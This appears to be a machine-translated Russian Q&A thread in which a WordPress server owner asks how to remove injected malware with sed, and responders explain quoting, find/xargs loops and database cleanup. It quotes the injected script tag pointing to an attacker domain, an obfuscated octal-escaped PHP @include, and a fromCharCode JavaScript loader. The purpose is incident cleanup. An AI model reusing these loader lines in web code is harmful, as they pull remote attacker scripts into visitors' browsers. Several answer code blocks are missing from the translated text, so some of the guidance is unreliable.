Таким образом, весь мой сервер был взломан или возникла проблема с вредоносным ПО. мой сайт основан на WordPress, и большинство сайтов, размещенных на моем сервере, основаны на WordPress. Хакер добавил эту строку кода в каждый файл и в базу данных
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Я поискал через grep используя
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Я пытаюсь заменить его во всей файловой структуре, sed
и я написал следующую команду.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
index.php
Сначала я пытаюсь заменить строку в одном файле , поэтому я знаю, что это работает.
и я знаю, что мой код неверен. Пожалуйста, помогите мне с этим.
Я попытался с кодом @ Eran, и он удалил всю строку, что хорошо и как ожидалось. Тем не менее, общий жаргон это
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
И хотя я хочу удалить весь контент, я хочу сохранить открывающий тег php <?php
.
Хотя решение @ slybloty легко и оно сработало.
чтобы полностью удалить код из всех затронутых файлов. Я запускаю следующие 3 команды, спасибо всем вам за это.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Удалить строку скриптаfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- убрать@include
строкуfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- удалить строку комментария
Кроме того, я снова запустил все 3 команды '*.html'
, потому что скрипт хакера создал нежелательный index.html во всех каталогах. Я не был уверен, что удаление этих index.html навалом является правильным подходом.
Теперь мне все еще нужно выяснить ненужные файлы и их следы.
Хакерский скрипт также добавил код JS.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Пытаюсь посмотреть, смогу ли я sed
это тоже.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
-l
sed -i
. Например,sed -i.bak
создаст*.bak
файл для всех файлов, которые редактируются. При использовании сwhile...grep
циклом вы будете выполнять резервное копирование только тех файлов, которые содержат эту строку. Извините за все дополнительные комментарии, но, на мой взгляд, вредоносное ПО - это сценарий «все руки на колоде».Ответы:
Используйте двойные кавычки (
"
) для строки и не избегайте одинарных кавычек ('
) и тегов (<>
). Только избежать косой черты (/
).источник
Какой бы метод вы ни решили использовать с sed, вы можете запускать несколько процессов одновременно для нескольких файлов с идеальными параметрами фильтрации с помощью
find
иxargs
. Например:Это будет:
find
- найти-type f
- только файлы-name '*.txt'
- что конец с php-print0
- Притни их разделить нулевыми байтами| xargs -0
- для каждого файла, разделенного нулевым байтом-P7
- запустить 7 процессов одновременно-n1
- для каждого файлаsed
- для каждого файла запустите sed-i
- отредактируйте файл на месте'...'
- Sed скрипт, который вы хотите запустить из других ответов.Вы можете добавить
-t
опцию,xargs
чтобы увидеть прогресс. Смотрите man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).источник
Одиночные кавычки взяты буквально без escape-символов. В
var='hello\''
, у вас есть не закрытая цитата.Чтобы решить эту проблему: 1) Используйте двойные кавычки для окружения
sed
команды ИЛИ 2) Завершите строку в одинарных кавычках, добавьте\'
и снова откройте строку в кавычках .Однако второй способ более запутанный.
Кроме того,
sed
можно использовать любой разделитель для разделения команд. Поскольку у вас есть косые черты в командах, проще использовать запятые. Например, используя первый метод:Используя второй метод:
Этот пример скорее образовательный, чем практический. Вот как это
'\''
работает:Первый
'
: конец текущей кавычки литеральной строки\'
: Введите одинарную кавычку как буквенный символВторое
'
: введите введенную в кавычки буквенную строкуПока там нет пробелов, вы просто продолжите свою
sed
команду. Эта идея уникальна дляbash
.Я оставляю сбежавших
<
и>
там, потому что я не совсем уверен, для чего вы используете это.sed
использует\<
и\>
для обозначения соответствия слов. Я не уверен, является ли это намеренным или нет.Если это ничего не соответствует, то вы, вероятно, хотите избежать экранирования
<
и>
.Изменить: Пожалуйста, смотрите решение @ EranBen-Natan в комментариях для более практического решения актуальной проблемы. Мой ответ - это скорее источник информации о том, почему OP запрашивал дополнительные входные данные своей оригинальной командой.
Решение для редактирования 2
Чтобы это работало, я делаю предположение, что у вас
sed
есть нестандартная опция-z
. Версия GNUsed
должна иметь это. Я также делаю предположение, что этот код всегда появляется в формате длиной 6 строкКак это работает: мы используем начало строки fromCharCode, чтобы соответствовать всему.
-z
разбивает файл на нули вместо новых строк. Это позволяет нам искать прямые переводы.[^\n]*\n
- Это соответствует всему до перевода строки, а затем соответствует переводу строки, избегая сопоставления с жадным регулярным выражением. Поскольку мы не разделяем переводы строк (-z
), регулярное выражениеvar pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n
соответствует максимально возможному совпадению. Например, если бы вы\n}\n
оказались где-то внизу в файле, вы бы удалили весь код между ним и вредоносным кодом. Таким образом, повторение этой последовательности 6 раз соответствует нам до конца первой строки, а также следующих 5 строк.grep -lr
- Просто рекурсивный,grep
где мы только перечисляем файлы, которые имеют соответствующий шаблон. Таким образом,sed
не редактировать каждый файл. Без этого-i.bak
(непросто-i
) устроит беспорядок.источник
rsync
резервного копирования и восстановления.У вас установлен плагин wp-mail-smtp? У нас одно и то же вредоносное ПО, и у нас были странные вещи
wp-content/plugins/wp-mail-smtp/src/Debug.php
.Кроме того, ссылка на JavaScript находится в каждом
post_content
поле вwp_posts
базе данных WordPress.источник
super-socialat
, проверьте это также.Сегодня я получил то же самое, ко всем постам на странице добавлен этот противный вирусный скрипт
Я отключил его от базы данных
У меня нет файлов, зараженных по крайней мере
не нашел ничего, но я понятия не имею, как это попало в базу данных, из которой вообще не спокоен.
Эта инфекция вызывала перенаправления на страницах, хром в основном обнаруживает и блокирует это. Не заметил ничего странного в - /wp-mail-smtp/src/Debug.php
источник
У меня сегодня то же самое, ко всем постам на странице добавлен скрипт. Я успешно справился с ними, используя плагин https://en.wordpress.org/plugins/search-and-replace/ .
Кроме того, я также нашел одну запись в столбце post_content таблицы wp_posts со следующей строкой:
и удалил его вручную.
источник
Для меня сработало это:
Вы должны искать: * .js, * .json, * .map
источник